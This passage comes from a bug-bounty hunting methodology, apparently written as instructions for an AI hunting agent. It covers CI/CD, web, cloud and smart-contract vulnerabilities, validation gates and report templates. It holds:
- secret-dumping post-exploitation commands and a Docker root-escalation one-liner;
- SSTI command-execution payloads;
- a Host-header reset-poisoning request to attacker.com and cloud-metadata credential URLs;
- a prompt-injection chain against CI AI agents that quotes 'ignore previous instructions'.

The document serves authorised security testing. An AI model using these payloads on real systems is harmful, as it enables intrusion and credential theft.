5. **Post-exploitation** — After initial access, enumerate all secrets: `env | base64`, `cat /proc/self/environ`, `gcore $(pgrep Runner.Worker)` + `strings core.* | grep ghp_`. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.

**Kill signals:** `if: "!github.event.pull_request.head.repo.fork"` blocks external attackers. `permissions: {}` at workflow level with only `contents: read` at job level limits damage. Ephemeral runners with `--ephemeral` flag prevent persistence.

#### 3. Artifact Poisoning

**Gate question:** Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?

**Verification depth:**
1. **Cross-workflow artifact flow** — Same-workflow upload/download (build job → test job via `needs:`) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: `pull_request` workflow uploads → separate `workflow_run` workflow downloads. `workflow_run` triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
2. **Download path matters** — `actions/download-artifact` with `path: .` or workspace-relative paths (`grafana-server/bin`) can overwrite source code, build scripts, or binaries. Safe pattern: extract to `${{ runner.temp }}/artifacts`.
3. **Source validation** — Does the `workflow_run` consumer check `github.event.workflow_run.head_repository.full_name != github.repository`? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
4. **ArtiPACKED (persist-credentials)** — `actions/checkout` defaults to `persist-credentials: true`. This writes `GITHUB_TOKEN` to `.git/config`. If the artifact upload path includes `.git/` (e.g., `path: .`), the token is publicly downloadable from the Actions artifact. **Check**: does any `upload-artifact` step use `path: .` or a broad path that includes `.git/`?

**Kill signals:** Upload and download in the same workflow run (connected by `needs:`). `workflow_run` consumer that explicitly checks fork origin. `persist-credentials: false` on checkout.

#### 4. Cache Poisoning

**Gate question:** Can a fork PR write a cache entry that the default branch later restores in a privileged context?

**CRITICAL: GitHub's cache scoping does NOT fully prevent this.** A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (`hashFiles('package-lock.json')`) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.

**Verification depth:**
1. **Key predictability** — `key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}` is fully predictable. Adding `github.sha` or `github.run_id` to the key makes it unpredictable. **Check every cache key for the presence of an unpredictable component.**
2. **Cache hierarchy exploitation** — `workflow_run` and `workflow_dispatch` workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The `run-dashboard-search-e2e.yml` pattern: `workflow_run` trigger → `actions/cache` with `hashFiles()` key → all PR workflows read this cache.
3. **Payload injection** — Cacheract: inject malware into package manager caches (`node_modules/.cache`, `~/.cache/pip`, `~/.gradle/caches`). The malware self-perpetuates because each restore → build → save cycle preserves the payload. **Cache TTL is 7 days** — the payload survives across multiple workflow runs.
4. **Privileged consumption** — The cache is restored in a `push` or `schedule` workflow on the default branch. These workflows have full `secrets` access. The poisoned dependency executes during `npm install` / `pip install` / `gradle build` and exfiltrates secrets.
5. **Clinejection chain** — Prompt injection → AI agent runs `npm install` from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.

**Kill signals:** Cache key includes `github.sha` or `github.run_id`. Separate cache keys per workflow. `actions/cache/restore` (read-only) instead of `actions/cache` (read-write) in PR workflows.

#### 5. Self-Hosted Runners

**Gate question:** Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?

**Verification depth:**
1. **Approval settings** — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
2. **Runner persistence** — Non-ephemeral runners retain state between jobs. `RUNNER_TRACKING_ID=0` prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (`docker run -d --restart always`) also survive cleanup.
3. **Runner-on-Runner (RoR)** — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. **No C2 server needed. GitHub itself is the C2.**
4. **Lateral movement** — RoR persistence → wait for privileged `push`/`schedule` workflows → steal tokens from `.git/config`, `$GITHUB_ENV`, `/proc/PID/environ`, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → `pip install pytorch` supply chain.
5. **Docker group escalation** — `docker run -v /:/host --privileged alpine chroot /host` → full host root. Add SSH keys, modify sudoers, install persistent backdoors.

**Kill signals:** `--ephemeral` flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).

#### 6. Supply Chain (commit-sha / impostor-commit / ref-confusion)

**Gate question:** Does the workflow use mutable tags (`@v1`, `@v2`) for actions, and could those tags be replaced?

**Verification depth:**
1. **Tag mutability** — `git tag -f v1 <malicious-commit>` replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
2. **Impostor commits** — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's `uses:`. GitHub resolves it because the SHA exists in the shared object store.
3. **RepoJacking** — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used `MirrorNG/unity-runner` → MirrorNG renamed to MirageNet → `MirrorNG` was claimable. **Check**: `GET /users/<action-owner>` returns 404? Takeover possible.
4. **Payload stealth** — tj-actions memdump.py: extract secrets from Runner.Worker process memory via `/proc/PID/maps` + `/proc/PID/mem`, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.

**Kill signals:** Full 40-char SHA pinning (`uses: actions/checkout@b4ffde65...`). Dependabot configured for `github-actions` ecosystem. Organization-level action allowlist.

#### 7. AI Agent Security

**Gate question:** Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?

**Verification depth:**
1. **Trigger + prompt source** — `issues: opened` → AI triage bot reads `github.event.issue.body`. The body IS the prompt. HTML comments (`<!-- ignore previous instructions -->`) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
2. **Tool permissions** — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. `allowed_non_write_users: "*"` means ANY user can trigger.
3. **Multi-phase chain** — Clinejection: prompt injection → AI runs `npm install` from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. **A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.**

**Kill signals:** `author_association == 'MEMBER' || 'OWNER'` check before AI processing. `--read-only --no-exec` flags on AI CLI. `permissions: {}` at workflow level.

#### 8. Permissions / Secrets Hygiene

**Not standalone bugs** — these are force multipliers. A `code-injection-medium` with `permissions: write-all` is Critical. The same injection with `permissions: { contents: read }` is limited.

**Chaining checklist:**
- `secrets: inherit` on reusable workflow call → all org secrets accessible to called workflow
- `permissions:` block missing → repo default (often write-all)
- `GITHUB_TOKEN` with `contents: write` → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)

**Key references:**
- [sisaku-security/agent-idea/bugbountyreport](https://github.com/sisaku-security/agent-idea/tree/main/bugbountyreport) — 36 real-world reports with full attack chains
- [sisakulint docs/advisory](https://sisaku-security.github.io/lint/docs/advisory/) — 38 GHSAs with detection mapping
- [DEF CON 32: Grand Theft Actions](https://media.defcon.org/DEF%20CON%2032/) — Khan & Stawinski, $250K+ in self-hosted runner bugs
- [Synacktiv: GitHub Actions Exploitation (5 parts)](https://www.synacktiv.com/en/publications/github-actions-exploitation-introduction)

## SSTI -- Server-Side Template Injection

### Detection Payloads
```
{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)
```

### Where to Test
- Name/bio/description fields (profile pages)
- Email templates (invoice name, username in confirmation email)
- Custom error messages
- PDF generators (invoice, report export)
- URL path parameters
- Search queries reflected in results

### Jinja2 -> RCE (Python / Flask)
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```

### Twig -> RCE (PHP / Symfony)
```php
{{["id"]|filter("system")}}
```

### Freemarker -> RCE (Java)
```
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
```

### ERB -> RCE (Ruby on Rails)
```ruby
<%= `id` %>
```

## Subdomain Takeover

### Detection
```bash
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
```

### Quick-Kill Fingerprints
```
"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify
```

### Impact Escalation
- Basic takeover: serve page under target.com subdomain -> Low/Medium
- + Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
- + OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
- + CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical

## ATO -- Account Takeover (Complete Taxonomy)

### Path 1: Password Reset Poisoning (Host Header Injection)
```bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
```

### Path 2: Reset Token in Referrer Leak
After clicking reset link, if page loads external resources -> token in Referer header to external domain.

### Path 3: Predictable / Weak Reset Tokens
```bash
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
```

### Path 4: Token Not Expiring / Reuse
Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?

### Path 5: Email Change Without Re-Authentication
```bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim
```

### Path 6: OAuth Account Linking Abuse
Can you link an OAuth account from a different email to an existing account?

### Path 7: Session Fixation
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.

## Cloud / Infra Misconfigs

### S3 / GCS / Azure Blob
```bash
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
```

### EC2 Metadata (via SSRF)
```bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

### Firebase Open Rules
```bash
curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
```

### Exposed Admin Panels
```bash
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env
```

### Kubernetes / Docker
```bash
# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json
```

---

# PHASE 4: VALIDATE

## SMART CONTRACT REASONING — 5-LAYER PRIORITY (applies to ALL contract hunting, before any gate)

The criticals on audited code are rarely in the code. Rank effort by where bugs actually live:

**Layer 1 — Deployment config, not contract code (biggest source of criticals on audited code).** The invariant is enforced in Solidity but violated at deploy time:
- Rate provider / oracle pointed at a manipulatable spot price (Curve pool, short-window Uniswap TWAP, Balancer pool) instead of Chainlink → exchange rate manipulation → share-price theft
- Decimal mismatch: rate provider returns 6 decimals where the accountant assumes 18 (10^12 error). Scaling helpers (e.g., `GenericRateProviderWithDecimalScaling`) only scale if `inputDecimals`/`outputDecimals` are set correctly at deploy
- Ownership not actually renounced (`transferOwnership(address(0))` skipped), or `STRATEGIST_ROLE` held by a hot EOA
- Two vaults sharing one accountant; a `manageRoot` computed against a stale decoder
- **You CANNOT see this from source. It needs the live addresses + mainnet RPC.** When the code reads clean, request the deploy addresses and fork the chain — that IS the attack surface.

**Layer 2 — Fork mainnet and run invariant fuzzers.** Criticals are found by simulating the state machine against live state (Foundry fork tests + `invariant_` fuzzing), not by more reading. Core invariants:
- `totalAssets() == Σ(balances valued via getRate())` — break this → mint/drain
- Share price monotonicity across deposit/withdraw/vest/postLoss sequences
- First-depositor / donation inflation: `mulDivDown(ONE_SHARE, getRate())`; a donation or `claimFees` timing that shifts `getRate()` between enter and exit = classic repeatable-loss critical

**Layer 3 — The integration layer, not the target.** The vault holds real tokens with real quirks; a decoder correct for the "canonical" ABI is wrong for the deployed variant:
- stETH / rebasing / fee-on-transfer / 18-vs-6 tokens where a balance read or transfer assumption breaks
- A token that's a proxy with different `decimals()`, or a token with a `beforeTokenTransfer` hook that re-enters
- Read-only reentrancy via `getRate()` reading an external contract whose state can be manipulated in the same tx

**Layer 4 — Chase new deployments and upgrades.** Protocols add tellers/decoders/adapters continuously; the newly added, unaudited contract is where the critical lives. A hardened adapter (fee/extension bounds added post-finding) means the NEXT one won't be. Watch the deployer address for fresh contracts and audit them before the program updates scope.

**Layer 5 — Chain a medium into a critical.** A single small bug is a Medium; the same bug made repeatable is a Critical. A 1-wei accounting drift in `payoutSplits` (balance - 1) or a rounding direction in `mulDivDown` compounded over N deposits becomes an extractable loss.

**The uncomfortable truth:** if the audited code is sound, the critical is at Layer 1 (config/oracle targets) or Layer 2 (fork-fuzzing `getRate()` against a manipulatable feed) — both need live chain access, not more file reads. When file reads run dry: request deployment addresses + RPC, fork, and fuzz. That's not a limitation; that's the attack surface.

---

## The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO -> STOP.

### Q1: Can I exploit this RIGHT NOW with a real PoC?
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.

### Q2: Does it affect a REAL user who took NO unusual actions?
No "the user would need to..." with 5 preconditions. Victim did nothing special.

### Q3: Is the impact concrete (money, PII, ATO, RCE)?
"Technically possible" is not impact. "I read victim's SSN" is impact.

### Q4: Is this in scope per the program policy?
Check the exact domain/endpoint against the program's scope page.

### Q5: Did I check Hacktivity/changelog for duplicates?
Search the program's disclosed reports and recent changelog entries.

### Q6: Is this NOT on the "always rejected" list?
Check the list below. If it's there and you can't chain it -> KILL IT.

### Q7: Would a triager reading this say "yes, that's a real bug"?
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

---

### ⛓️ 7-Question Gate — Smart Contract Track (USE FOR ALL CONTRACT FINDINGS)

The web2 gate kills good contract bugs — "real user", "PII/ATO/RCE" don't translate to a DeFi protocol. For smart contract audits, run THIS gate instead. All 7 must be YES.

### Q1 (SC): Can I exploit this RIGHT NOW with a working PoC?
Write a running Foundry/Hardhat test (or fork script) that triggers the path and asserts the damage. Static code observation or unexecuted speculation → KILL IT. PoC must execute against a fork of the deployed chain or a local EVM node.

**Counter-pattern (Gate 1):** "It's documented" / "it matches upstream design" is NOT an automatic refutation. Rejecting on that requires actually having read the upstream source — citing another protocol's behavior without seeing its code (e.g., "Camelot does the same with xGRAIL") is a miss, not a defense. Docs describe intent; deployed bytecode is reality.

### Q2 (SC): Is the triggerer someone the protocol does NOT intend to be the actor?
Ask: "Who does the protocol DESIGN to call this?" If only `onlyOwner`/governance/`onlyRole` can trigger it and it works as designed → intended, KILL. If ANY other party (user, third-party contract, griefer, LP depositor) can reach the vulnerable path — even with clever conditions — it's valid. Trusted-actor trigger WITH a governance bypass still passes.

**Counter-pattern (Gate 2):** "Requires an oracle misreport" is NOT an auto-kill. Before rejecting, check for an honest-path route to the same vulnerable state (e.g., the Lido `onchainTotalValueOnRefSlot` case — the state was reachable with HONEST oracle data, making the "oracle manipulation" precondition unnecessary).

**Counter-pattern (Gate 3):** "Requires the exiting holder's cooperation" is NOT an auto-kill when the state transition is public and observable on-chain (e.g., an xSilo `totalSupply → 0` after exit). The attacker can front-run the public transition — that makes it attacker-triggerable, not victim-cooperative.

### Q3 (SC): Is impact concrete in protocol-native terms?
Quantify: exact funds stolen/locked (wei, token amounts, USD), accounting desync amount, invariant breach (name the invariant verbatim), permanent DoS of someone's funds, oracle manipulation with real profit margin. No number = no finding.

**Counter-pattern (Gate 4):** Split self-harm into actor-scoped legs. An attack that looks like "self-harm" often has SEPARATE victims per leg: the exiter's penalty loss is its own leg, and the front-runner's captured residual is another leg — one leg being self-inflicted does NOT kill the other leg's valid impact. Name the victim for every leg before rejecting as "self-harm."

### Q4 (SC): Is this in scope per the program policy?
Deployed contract on the listed chain, exact version verified on-chain. Testnets, old unpinned versions, `interfaces/`, `lib/`, `mocks/`, `*.t.sol`, `*Mock*` → KILL.

### Q5 (SC): Did I check known-issue history for duplicates?
Search: Immunefi/Sherlock/Code4rena contest history, ALL prior audit reports (repo `audits/` or docs), `CHANGELOG.md`, README "known issues", previous bounty submissions. Duplicate → KILL.

### Q6 (SC): Is this NOT on the contract always-rejected list?
- Theoretical / no working PoC → KILL
- Trusted-actor-only with no bypass → KILL
- View/read-only fn returning wrong value with no downstream effect → KILL
- Admin backdoor behaving as documented → KILL
- MEV-dependence the protocol explicitly accepts → KILL unless profit exceeds documented slippage bounds
- Sub-$1 dust profit that breaks no invariant → KILL (unless part of a bigger chain)

### Q7 (SC): Would a DeFi-literate judge say "yes, that's a real bug"?
Read it as an Immunefi/Sherlock judge: quote the invariant, trace the exact exploitable call path, show the PoC result. If the judge could argue "edge case, working as intended" and you can't pre-kill that argument → KILL.

**Smart contract quick-kill rules:**
- No `forge test` PoC against a fork → DEMOTE to lead, not a finding
- Trigger only via `onlyOwner`/governance → KILL unless you have a governance bypass
- Code in `lib/`, `interfaces/`, `mocks/`, `test/` → KILL
- "Docs say X but code does Y" → code is authoritative, report the code behavior
- Old compiler but function unreachable → KILL (reachability before severity)

**Severity rule — "transient DoS" is only valid if it self-resolves:**
Never call something a "transient DoS" without confirming the recovery path actually exists and executes on its own (a timelock that expires, a keeper that is guaranteed to run, a function any user can call to restore). If recovery depends on an action a specific party may never take, or on conditions you have not verified, score it as permanent DoS (or drop it if no DoS is provable). Assumed recovery = inflated severity.

---

## 4 Pre-Submission Gates

### Gate 0: Reality Check (30 seconds)
```
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
```

### Gate 1: Impact Validation (2 minutes)
```
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
```

### Gate 2: Deduplication Check (5 minutes)
```
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
```

### Gate 3: Report Quality (10 minutes)
```
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
```

## CVSS 3.1 Quick Guide

| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |
|--------|-------------|----------------|--------------|-----------------|
| Attack Vector | Physical | Local | Adjacent | Network |
| Privileges | High | Low | None | None |
| User Interaction | Required | Required | None | None |
| Impact | Partial | Partial | High | High (all 3) |

### Typical Scores by Bug Class

| Bug | Typical CVSS | Severity |
|----|------|---------|
| IDOR (read PII) | 6.5 | Medium |
| IDOR (write/delete) | 7.5 | High |
| Auth bypass -> admin | 9.8 | Critical |
| Stored XSS | 5.4-8.8 | Med-High |
| SQLi (data exfil) | 8.6 | High |
| SSRF (cloud metadata) | 9.1 | Critical |
| Race condition (double spend) | 7.5 | High |
| GraphQL auth bypass | 8.7 | High |
| JWT none algorithm | 9.1 | Critical |

---

# ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

**N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.**

## Conditionally Valid With Chain

These low findings become valid bugs when chained:

| Low Finding | + Chain | = Valid Bug |
|------------|---------|-------------|
| Open redirect | + OAuth code theft | ATO |
| Clickjacking | + sensitive action + PoC | Account action |
| CORS wildcard | + credentialed exfil | Data theft |
| CSRF | + sensitive state change | Account takeover |
| No rate limit | + OTP brute force | ATO |
| SSRF (DNS only) | + internal access proof | Internal network access |
| Host header injection | + password reset poisoning | ATO |
| Self-XSS | + login CSRF | Stored XSS on victim |

---

# FINDING VALIDATION GATES

Every finding must pass these 5 gates before reporting. Fail any gate → **REJECTED** or **DEMOTED**.

## Gate 0 — Instant Kill (Pre-Filter)

Before any deep analysis, check these. If matching → **SKIP**:

- **Operator config as attack surface** — "SSRF via config URL", "plaintext default" → Not attacker input
- **Ecosystem convention** — Geth/Lighthouse/CometBFT all do this same thing → Not a bug
- **Test suite validates behavior** — Team wrote tests asserting this behavior → Intended
- **"Missing" check exists elsewhere** — Check in middleware/dependency → Not missing
- **Standalone hardening** — "Add rate limiting" without proof of bypass → Not a finding

## Gate 1 — Refutation

Construct the strongest argument the finding is wrong. Find the guard that kills the attack.

- **Concrete refutation** (specific guard blocks exact step) → **REJECTED**
- **Speculative refutation** ("probably wouldn't happen") → **clears**, continue

## Gate 2 — Reachability

Prove the vulnerable state exists in a live system.

- **Structurally impossible** → **REJECTED**
- **Requires privileged actions** (owner misconfigure, multi-sig collude) → **DEMOTE**
- **Achievable through normal usage** → **clears**, continue

## Gate 3 — Trigger

Prove an unprivileged actor can execute the attack profitably.

- **Only trusted role can trigger** → **DEMOTE** (report as medium/low)
- **Costs exceed extraction** → **REJECTED**
- **Unprivileged actor can trigger profitably** → **clears**, continue

## Gate 4 — Impact

Prove material harm to an identifiable victim.

- **Self-harm only** → **REJECTED**
- **Dust-level, non-compounding** → **DEMOTE** to low/informational
- **Material loss to identifiable victim** → **CONFIRMED**

## LEAD Promotion Before Finalization

- **Cross-contract echo:** Same root cause confirmed in another component → promote (confidence 75)
- **Multi-agent convergence:** 2+ agents flagged same area → promote (confidence 75)
- **Internal asymmetry:** Component A has control X, Component B lacks it → promote (confidence 85+)

---

# CANONICAL BUG CLASSES

**Smart Contract:** reentrancy, integer-overflow, integer-underflow, precision-loss, access-control-bypass, unprotected-initializer, storage-collision, front-running, oracle-manipulation, flash-loan-attack, signature-replay, cross-chain-replay, missing-zero-address-check, unchecked-return-value, denial-of-service, griefing, upgrade-bypass, delegatecall-injection, price-manipulation, invariant-violation, race-condition-sc, orphaned-role, emergency-misuse

**Web/API:** idor, broken-auth, jwt-bypass, ssrf, sqli, xss-stored, xss-reflected, xss-dom, xxe, rce, path-traversal, open-redirect, csrf, graphql-introspection, business-logic, race-condition-web, mass-assignment, insecure-deserialization, info-disclosure, cors-misconfiguration, account-takeover, privilege-escalation-web, api-key-exposure, oauth-bypass, subdomain-takeover, cache-poisoning, request-smuggling, host-header-injection

## Finding Output Format

Every finding must use this exact structure:

```
FINDING
  id: <sequential number>
  title: <≤10 words, impact-first>
  target: <contract name / endpoint / file path>
  location: <function name / line number / URL path>
  bug_class: <canonical class>
  group_key: <Target | location | bug_class>
  severity: critical | high | medium | low | informational
  confidence: <0–100>
  attack_path: <numbered steps — be concrete, quote exact code/params>
  impact: <who loses what, quantify if possible>
  poc: |
    <minimal working PoC — code, curl command, or step sequence>
  fix: <specific remediation — line-level where possible>
```

For leads (incomplete paths):

```
LEAD
  id: <sequential>
  title: <≤10 words>
  target: <target>
  location: <location>
  bug_class: <class>
  group_key: <Target | location | bug_class>
  smell: <what looks wrong>
  unverified: <what you couldn't confirm>
```

## Behavior Rules

1. **Never assume intent.** Evaluate what the code/endpoint *allows*, not what it was *meant* to do.
2. **Quote exact code.** Every finding references the exact line, function name, or HTTP parameter responsible.
3. **Trace complete paths.** If you cannot trace from entry to impact, output a LEAD, not a FINDING.
4. **No duplicate speculation.** If another agent's domain clearly owns a finding class, do not re-report it.
5. **Composite chains.** If your finding's output enables a higher-severity impact by combining with another class, note `chain_with: <bug_class>`.
6. **Platform awareness.** Calibrate severity to that program's known policies.
7. **No invented facts.** If a variable, endpoint, or behavior isn't visible in the source, say "not visible in scope" rather than assuming.

---

# SEVERITY CALIBRATION

| Severity | Smart Contract | Web/API | Infrastructure/Node |
|----------|---------------|---------|---------------------|
| Critical | Direct fund drain, >$1M at risk, protocol shutdown | RCE, full account takeover, mass data breach | Consensus safety violation (fork, double-sign), validator key compromise |
| High | Fund drain with preconditions, governance takeover, major invariant break | Auth bypass, IDOR on sensitive data, persistent XSS on admin | Compliance/sanctions bypass on regulated chain, consensus liveness attack |
| Medium | Partial fund loss, temporary DoS, privilege escalation | IDOR on non-sensitive data, SSRF to internal, self-XSS with escalation | DoS requiring validator access, partial enforcement bypass |
| Low | Griefing, dust loss, minor invariant, excess gas cost | Info disclosure, non-exploitable misconfig, low-impact logic flaw | Operational data disclosure, hardening gap with mitigating controls |
| Info | Best-practice deviation, no direct exploit | No security impact, hardening recommendation | Ecosystem-standard gap, config default suggestion |

---

# ECOSYSTEM CONVENTIONS (Never Report These)

## Blockchain Node / Infrastructure

| Pattern | Why It's Standard |
|---------|------------------|
| Unauthenticated operator RPC | Operator-facing, firewall is the boundary |
| Plaintext CL↔EL communication | Co-located processes on same machine |
| JWT without `exp` claim | `iat` freshness is the real check |
| Version/health endpoint public | Operational tooling, info is public on GitHub |
| No CORS on node API | Browser-blocked by default |
| Default bind to 0.0.0.0 | Dev convenience, prod uses firewall |

## Smart Contract (EVM/Solidity)

| Pattern | Why It's Standard |
|---------|------------------|
| `unchecked` in 0.8+ with correct reasoning | Gas optimization, overflow impossible |
| MINIMUM_LIQUIDITY burn on first deposit | Uniswap V2 standard |
| `SafeERC20` usage | Handles non-standard tokens |
| `nonReentrant` on single contract | Only flag cross-contract reentrancy |
| Two-step admin transfer | Security pattern, not a bug |

## Web/API

| Pattern | Why It's Standard |
|---------|------------------|
| Rate limiting on read endpoints | DoS hardening, not security boundary |
| CSRF on logout | No impact without session fixation |
| Self-XSS without escalation | No victim, attacker harms themselves |
| Stack traces in dev/staging mode | Not production exposure |
| Generic error messages | Standard error handling |

---

# PHASE 5: REPORT

## HackerOne Report Template

```
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
```

## Bugcrowd Report Template

```
Title: [Vuln] at [endpoint] -- [Impact in one line]

VRT Category: [Bugcrowd VRT category]
Priority: P1/P2/P3

Asset: [target URL]

Description:
[Clear explanation of the vulnerability]

Steps to Reproduce:
1. ...
2. ...

Expected Result: [What a secure system would do]
Actual Result: [What the vulnerable system does]

Proof of Concept:
[Attach or embed PoC]

Impact:
[Attacker capability and victim harm]

CVSS Vector: [vector] ([score])

Remediation Suggestion:
[Fix recommendation]
```

## Intigriti Report Template

```
Title: [Title]
Severity: Critical/High/Medium/Low

Affected URL: [target]

Description:
[Explain the vulnerability clearly]

Reproduction Steps:
1. ...
2. ...

Proof of Concept:
[Link, screenshot, code, or curl]

Impact:
[Concrete impact statement]

CVSS 3.1: [vector] → [score]

Suggested Fix:
[Remediation]
```

## Immunefi Report Template (Smart Contracts)

```
Vulnerability Title: [Title]
Severity: Critical/High/Medium/Low

Type: [Smart Contract Bug / Website/App Bug / Blockchain/DLT Bug]
Vulnerability Classification: [Immunefi classification]

Blockchain/Tech Stack: [Ethereum / Aptos / Solana / TRON / etc.]
Smart Contract Address: [if applicable]
Protocol Name: [target protocol]

Description:
[Detailed technical description. Reference exact functions, storage slots, and call sequences.]

Attack Scenario:
[Narrative description of a realistic attack from attacker setup to impact]

Proof of Concept:
